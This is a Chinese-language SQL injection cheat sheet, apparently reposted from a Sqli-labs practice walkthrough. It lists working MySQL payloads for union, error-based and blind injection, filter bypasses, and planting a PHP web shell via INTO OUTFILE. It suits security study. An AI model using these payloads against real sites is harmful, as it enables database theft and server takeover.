转自:https://wywwzjj.top/2018/11/02/Sqli-labs-通关记录/#函数报错信息注入
union 注入 所查询的字段数需与主查询一致 字段数可先用 order by x 来确定
union select 1, 2 from user where id = 1 or 1=1information_schema 注入 存储数据库信息的数据库
数据库名 schemata => schema_name tables => table_schema columns => table_schema 表名 tables => table_name columns => table_name 列名 columns => column_name select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- 获取当前数据库中所有表 select 1,group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167; -- 获得所有列名(字段),table_name 参数进行十六进制编码后可绕过引号被过滤 -1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # -- 下载数据 -1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # -- 获取表中的字段名函数报错信息注入
前提:后台没有屏蔽数据库报错信息,在语法发生错误时会输出到前端
常用报错函数:updatexml(), extractvalue(), floor() 十种MySQL报错注入
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));# and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);#基于函数报错信息获取(select, insert, update, delete)
insert / update / delete 注入 结合函数报错信息,将函数插入到语句中
http header 注入 如 XFF,referer 观察点:后台收集了请求头中的信息,并存入到数据库中
布尔盲注 结合 and 进行逻辑判断 效率太低,写脚本爆
时间盲注 无显示回显,可在以前的基础上加入 sleep() 语句,若明显延迟,则注入成功
BENCHMARK(count,expr) 执行 count 次的 expr,如 BENCHMARK(10000000,SHA(‘1’))
即使 sleep 和 benchmark 都被过滤了,但是我们依然可以通过让Mysql进行复杂运算, 以达到延时的效果,比如可以用字段比较多的表来计算笛卡尔积
select count(*) from information_schema.columns A, information_schema.columns B, information_schema.columns C#还有 get_lock()
利用注入写入后门
前提:开启 secure_file_priv,并且具有写的权限
select 1,2,'<?php system($_GET[1])?>' into outfile 'H:\\a.php'--Bypass 检测被过滤的关键词:
fuzz 一波 ASCII 码id = 1 ^ (length(‘xxx’)=3)空格
使用注释绕过,// (/\1/)使用括号绕过,括号可以用来包围子查询,任何计算结果的语句都可以使用 ( ) 包围 select(group_concat(table_name)) from(information_schema.tables) where(table_schema=database()) 使用符号替代空格 空格 TAB 键(水平) TAB 键(垂直) return 功能 新的一页